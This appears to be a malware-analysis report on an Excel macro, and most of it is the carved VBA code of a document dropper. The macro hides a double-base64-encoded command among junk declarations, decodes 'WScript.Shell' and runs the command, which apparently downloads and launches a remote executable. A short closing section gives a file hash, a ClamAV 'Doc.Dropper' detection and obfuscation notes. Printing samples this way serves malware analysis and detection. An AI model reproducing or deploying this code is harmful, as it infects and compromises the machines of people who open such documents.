KGaznFrzyJ73174811 = KGaznFrzyJ73174811 & "QgBRAEEARwBRAEEAWgBBAEIATQBBAEgAVQBBAFEAdwBCAG8AQQBFADgAQQBSAGcAQgB2AEEASABFAEEAYwBRAEIAMgBBAEcATQBBAFcAUQBCAFkAQQBFAGcAQQBZAHcAQgAxAEEASABrAEEAVgBRAEIAdgBBAEQAWQBBAE8AQQBBAGcAQQBDAGsAQQBPAHcAQQBvAEEARQA0AEEAWgBRAEIAMwBBAEMAMABBAFQAdwBCAGkAQQBHAG8AQQBaAFEAQgBqAEEASABRAEEASQBBAEEAdABBAEcATQBBAGIAdwBCAHQAQQBDAEEAQQBVAHcAQgBvAEEARwBVAEEAYgBBAEIAcwBBAEMANABBAFEAUQBCAHcAQQBIAEEAQQBiAEEAQgBwAEEARwBNAEEAWQBRAEIAMABBAEcAawBBAGIAdwBCAHUAQQBDAGsAQQBMAGcAQgBUAEEARwBnAEEAWgBRAEIAcwBBAEcAdwBBAFIAUQBCADQAQQBHAFUAQQBZAHcAQgAxAEEASABRAEEAWgBRAEEAbwBBAEMAQQBBAEoAQQBCAHQAQQBGAEUAQQBaAEEAQgB5AEEARQAwAEEAVQBBAEIAawBBAEcAUQBBAFQAQQBCADEAQQBFAE0AQQBhAEEAQgBQAEEARQBZAEEAYgB3AEIAeABBAEgARQBBAGQAZwBCAGoAQQBGAGsA"
Dim gJVqlWpiOfwHJviMGArOrAZYFHMIwupNprQdSAA4625233 As Workbook
If cagJUAiIqUAsJYDd0588__5 = fjxkdJhlTqiRReFuGAPnLrFXXzWnvBfpmOluVQXTsupeR69256 Then
Dim QqLPGmJIQRneZMdmuqRKsfDtKYqdwuRCaFHJKY60__48860 As Byte
End If
Dim pPWgVwxQwDtgyEXUYkn97_6_7_0 As Workbook
If SEhvgMVAlDTFUbVACoLJ20111793 = HwucmjQvNfGhWWsTHTpUzwMMdxYEcDUfMbgWJFJwwamF7720115 Then
Dim xmjyjBtiyrJKjhzpKLSKKaUuqWKCKtYZJG85_345974 As Byte
End If
Dim PqOaVbJmhVRVmcFTlkHcvWS73_8 As Workbook
If oIMrqXFSjBdSIakqrAYsydUk81045663 = hxqHnSgLsYZRIjSOcChTJJwtAtPbWeTLncJthxfR3552287 Then
Dim URZkAThIhKQvvBbXAxGtDFoOEOdgZZheXQy_569823 As Byte
End If
KGaznFrzyJ73174811 = KGaznFrzyJ73174811 & "QQBXAEEAQgBJAEEARwBNAEEAZABRAEIANQBBAEYAVQBBAGIAdwBBADIAQQBEAGcAQQBJAEEAQQBwAEEARABzAEEASQBBAEIAOQBBAEEAMABBAEMAZwBCADAAQQBIAEkAQQBlAFEAQgA3AEEAQQAwAEEAQwBnAEEATgBBAEEAbwBBAEoAQQBCADQAQQBFAFEAQQBVAFEAQgB5AEEARwBjAEEAZABBAEIAbgBBAEYAQQBBAFcAZwBCADQAQQBFAGMAQQBSAHcAQgB2AEEARQBFAEEAWgBnAEIASABBAEUAbwBBAFcAZwBCAGwAQQBGAFEAQQBSAGcAQgB3AEEARgA4AEEATwBRAEEANABBAEQAQQBBAE4AUQBBADkAQQBDAFEAQQBaAFEAQgB1AEEASABZAEEATwBnAEIAVgBBAEYATQBBAFIAUQBCAFMAQQBGAEEAQQBVAGcAQgBQAEEARQBZAEEAUwBRAEIATQBBAEUAVQBBAEsAdwBBAG4AQQBGAHcAQQBWAHcAQgBaAEEARwBjAEEAVwBnAEIAUgBBAEcAZwBBAGQAQQBCAEIAQQBHAFUAQQBWAEEAQQAwAEEARABVAEEATgBnAEEAMQBBAEQATQBBAEwAZwBCAGwAQQBIAGcAQQBaAFEAQQBuAEEARABzAEEARABRAEEASwBBAEUASQBBAFoAdwBCAE8A"
Dim rkMshLGtMNYPmAmtjrlNPdLfmpBjIdmXfDkno_03 As Workbook
If FYhwLbAgzrfngxmmCiOZgGsKXljbAkiQyEeSDREBKzmx74427486 = VwcfzlcUWOHygXZZsZfPJPo_66885551 Then
Dim bTUjldMPhTvpbJDcPHOukxfmf406128170 As Byte
End If
Dim reIkTXoGHAMfBrqJzZfliyQoxQHvVEdnhDtzEeO_53 As Workbook
If vGjTIrxOPXlk64 = YABxtOUnCQtkCXYxxxrFVKjezeHwzCrXkUFnfGzkjq__191116 Then
Dim LfNyRlSzQSffPNQXxP1861113 As Byte
End If
Dim GXnAYVAiRlSqyGVeyE8142 As Workbook
If QBNWeAlZsEErWIIk19_ = eMDLGsxiUgh424 Then
Dim ZTYKlOMGwCktnPzcweZOKiNcJanxYDeCx7258333 As Byte
End If
KGaznFrzyJ73174811 = KGaznFrzyJ73174811 & "QQBGAFEAQQBRAFEAQgByAEEARgBNAEEAWgBRAEIAdgBBAEcASQBBAFUAQQBCAGwAQQBFADAAQQBVAFEAQgAyAEEARwAwAEEAVgB3AEIANQBBAEgAawBBAGUAQQBCAEYAQQBIAGMAQQBjAHcAQQAzAEEARABrAEEAWAB3AEEAMgBBAEQAUQBBAEkAQQBBAG4AQQBHAGcAQQBkAEEAQgAwAEEASABBAEEATwBnAEEAdgBBAEMAOABBAGQAZwBCAHcAQQBIAE0AQQBkAEEAQgBwAEEARwA0AEEAZQBRAEIAawBBAEcAVQBBAGQAZwBBAHUAQQBHAGMAQQBjAFEAQQB2AEEARwBzAEEAYgB3AEIAdQBBAEQASQBBAE0AZwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAawBBAEgAZwBBAFIAQQBCAFIAQQBIAEkAQQBaAHcAQgAwAEEARwBjAEEAVQBBAEIAYQBBAEgAZwBBAFIAdwBCAEgAQQBHADgAQQBRAFEAQgBtAEEARQBjAEEAUwBnAEIAYQBBAEcAVQBBAFYAQQBCAEcAQQBIAEEAQQBYAHcAQQA1AEEARABnAEEATQBBAEEAMQBBAEQAcwBBAEQAUQBBAEsAQQBBADAAQQBDAGcAQgA5AEEARwBNAEEAWQBRAEIAMABBAEcATQBBAGEA"
Dim SLFTuSdKBLitSPwHPBEuSXrGwAKaOitXi5158773 As Workbook
If vVDtJCLwDIWfiq3_9995_ = LrqICaHfuUzXtICwSSLLXutOGysxOOU704101 Then
Dim bNJzjYZqwaQaiulIDuHqDTXTRycCDiKQgzXKkIT_46_ As Byte
End If
Dim XscOkGTKTUqpDGYQHpqhkwWmOQzuiWbYuak60450 As Workbook
If xbEmMxnIiNtGKHjQUuaiaVpAUGZcxsRucWaoCCdkw688527_ = ooZUJpmzGGeTsJcmESGYLLpwyenhuNR76 Then
Dim QqlmhQfKRmdqlnajMyCykXMldydWf15_0_ As Byte
End If
Dim BEEtpNdGWvWYIolhUDIXua_267 As Workbook
If jsOhtezJinJfPiYxwZxdqDfacibDIvUylbVMeITzHNMjO402174 = cZDJWHjaRkgMnELCwAnTKtoMMToFyWdqwLz23_54183 Then
Dim IYumokYTqpAqDIwKM844_14 As Byte
End If
KGaznFrzyJ73174811 = KGaznFrzyJ73174811 & "QQBCADcAQQBIADAAQQA="
Dim ZPEilqwDSdbvHpP23639_5 As Workbook
If cFCeBNyimaxWMckxCLQQhHQXhxjVGwY_1468 = jAkOyFRIyahRInUkaigZkqZiUoexEe_205751 Then
Dim dcqBOWbOmskCRpzqHkNMImaWosbCtJ3207524 As Byte
End If
Dim aUEUxFaHYxJMvophZjiegujr313 As Workbook
If VqBTMWvZUcRQx56__14 = xsuPAMQDvrmhGSrTOcgkMyGDHuCBjsSWYjcqnPgi_4026011 Then
Dim ToazPmFDDFFAlflymrIGJOTDY607_ As Byte
End If
Dim PIXqBgzwyQYYGnUoyx5328098 As Workbook
If emSlsydEwHaYFUWa1271 = AdiNCYGDmPNaf14737 Then
Dim DnRLQoQFdQZNxksVa786 As Byte
End If
 
Dim KDBfnrFlvFgOydkCYsUIMpgFUWNJzF7989173 As Workbook
If oNhMEJZAQvLZVikremoKYrYNNVXvKQewlpQSgmYbd6419_564 = XcYxmUxVdsaVogxpUyjmdpzR991 Then
Dim PofRSKsNNhAPzPa77 As Byte
End If
Dim BaagYDbxITcMnpozicGiyofDTAMIH13_142 As Workbook
If ghqEYhMCIbOnqXypxEYYhSnshbNv99975584 = XNYqTpclmHPHc0174_ Then
Dim xZAsuHQgNVvojZNuxXwURfvDXUBvMDqpQwk_73 As Byte
End If
Dim smAnUwOJrcCjQOrpkTnKRexVZGUUKfGYnpU4_ As Workbook
If HxkcYDVDaVkkgVOGV4675 = clSNpeNNbuzMWdwatjrzqOHwbWzoVoywYkvBWHRSWOwJWqDro095601449 Then
Dim KmlWGfOdWmSfYrnvDolivEmRZdbSyZk6509477 As Byte
End If
nvCanzAKRepzzfSLuXAFiqUMmmwYeaTSTTiSHZlOakwjKHkOVfNXKOOxbpnADbfrLXgfwADVmmfxtlCfChCzMvHEFkqRlkKyFFXmbERUbrlXjRDpnIyVYgePPbaMJmkBcgsoNPDx80051477 = vNluMEXYXGCNtAcAssJlwlMUbibDXIMgVqtGElOSrUeCuC01_9("dwBTAEMAcgBpAFAAdAAuAHMASABlAGwATAA=")
Dim SIALBNaRFhXAUznyXJNTCRJsGATwdDvewBA632_73 As Workbook
If WXfmhcWgAXDRSmeEJkGiAyHF14_6099_7 = AtdoClsDTzQbrWgqglIVCiBJyymupTzYPa9639_296 Then
Dim loyheOeAyTWDMmEQCPpmDSsUpDz7_53101 As Byte
End If
Dim yNAzrLRksryGtqBkhmvmzpZRjid2267 As Workbook
If XTvesbPgnyTesvBMZDIvwBhLhuRAIoiQJitRwMFfeK4136978_ = OmNHDqxdzNamhWlkwyKPXyPDVKCkPMxdRlmvxZqaCfo63156897 Then
Dim VpXAXfMQHVPmPWKmtoNNnP4566 As Byte
End If
Dim xUvjqmWHjMsKtNyJ58 As Workbook
If eEDwpHCzWYnnxmpRAFsCFopatAmCuFdwojJIKrZqSvMRyjJw860 = XaJoVwDqPcCpVAERvrzNd1__504 Then
Dim gGJfCjJbYbKqpeUvoasgS83176505 As Byte
End If


Dim yCvLFNgGSYbFsyMNhomnxSlCVFHooZENdwXYKKtbUaKPYHYXBpVQoYlfRsqAFrRsTObwa612439
Dim thokUSrvVHjvTqTAITMtPqBsyfVkVGQHhKnZV231325505 As Workbook
If vhRSgCUavVnAvgHfmDCgwlowGZOqc227770163 = OJCueMmvaiohRDKhjZaJbu86768669 Then
Dim GlsZJsUMGndxgMkGQTVk424_325 As Byte
End If
Dim MUNzeiePWzo_33 As Workbook
If hAUCRBFDtbObADUWywdJGorilXtvbOFpHzwwMJTELQbIxt44514258 = NvJLgSsqhtJlRtIKbfWZUBHXKpdZxqMiksKylPhmw22 Then
Dim QRCnarZvAowmYYLnmBrpTsrha8130_2838 As Byte
End If
Dim BYjKZMxjcD66673_35 As Workbook
If kFjjxDdxCPwMTyKyOqxd40_26378 = YaVNZSqlbcyDwUbiCRtlqvoReoElzaxGmzfJ28 Then
Dim jWKeNrWZQsQzWbvwwMmdlEjk614_03413 As Byte
End If
Set yCvLFNgGSYbFsyMNhomnxSlCVFHooZENdwXYKKtbUaKPYHYXBpVQoYlfRsqAFrRsTObwa612439 = CreateObject(nvCanzAKRepzzfSLuXAFiqUMmmwYeaTSTTiSHZlOakwjKHkOVfNXKOOxbpnADbfrLXgfwADVmmfxtlCfChCzMvHEFkqRlkKyFFXmbERUbrlXjRDpnIyVYgePPbaMJmkBcgsoNPDx80051477)
Dim OFlAesRwpSzgHPXyZOAlYFOYeBJaMCYenZ04__4138 As Workbook
If QIGVvYbTJEcPo8971_18_9 = hooDWExMIq1_197 Then
Dim NVdirkntUtiyPsDTbJEwJvP2941 As Byte
End If
Dim MclXyBapMHSsARqki136623 As Workbook
If WKIWGiYwADcoHMgSFRGFNostDVrxADBkYVZzntFtNbxyyBEvl2831496 = auAkfVhSOSkrbwxBrPlm136905 Then
Dim heMLMrlquvBRvLZJBAsAsgZa76_70_23 As Byte
End If
Dim UBlfAwGlSJEvh05 As Workbook
If oXnkqXSQTwPWozrWluAFmrLGGqxpQymHdbNcFPB31163_0 = IGJBFWJMwPPgPDqvxMheAadAVJHsMmORVsrzdpGjxdAZARXE11640 Then
Dim ngQQXlBicIfvOQAKBxLWLrSHGyhW28 As Byte
End If

 yCvLFNgGSYbFsyMNhomnxSlCVFHooZENdwXYKKtbUaKPYHYXBpVQoYlfRsqAFrRsTObwa612439.Run vNluMEXYXGCNtAcAssJlwlMUbibDXIMgVqtGElOSrUeCuC01_9(KGaznFrzyJ73174811), WDnmTyuILJARSdcTAPuWsCGVvHdrubHKZYMYQkoNmMfkFnSlqXTOIYKTwSqMVDOkCqruQDDQbgjfXWPIprAWHsCBOtcxucriyviPvYVnTDnboevZCiWeCrcJnqfWaFWyoAhcoAMRWNCDFaMj79
Dim ZEAEmDEgVxukqIWUJKUgdqYCGAswOJ66 As Workbook
If KZEfJYIbJLMTpDDbg059928 = CUxxvdAsjfxxlKIRMmUfLzy338617 Then
Dim MiBJUJBUyfTpcQLPvD660033_0 As Byte
End If
Dim mZsKdXADCcRjvVDVkPuUgjiKySS333_44 As Workbook
If VfABXYbYaFCEdIQ83173 = HYDPjymGgwVbXDrhLLFfYBbtKTwcQiLQLQbJHj213_ Then
Dim jTjZUECxEVjXqtYdsFxKFPBJqxkEPGbh841269 As Byte
End If
Dim abclvyhWrMPbtssSriYWMxeTSZjXTxhxtC8889266 As Workbook
If xORnhtYbTsAZQxESNhiFUdxITWPJCtfRi647 = qvdBEBexkelTsIl0763719 Then
Dim SBkAOnhUQIUKdOZZNirZCbRJfDIkyM49002 As Byte
End If


End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 65536 bytes
SHA-256: 541f0fd9faf7bb1fbc88a5e5eb18361173cdb73572e0b51c732feeb2c4271638
Detection
ClamAV: Doc.Dropper.Agent-6578964-0
Obfuscation or payload: likely
1401 of 1961 identifiers look randomly generated (e.g. 'WDnmTyuILJARSdcTAPuWsCGVvHdrubHKZYMYQkoN') — consistent with name-mangling obfuscation. Carved artifact contains 9 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.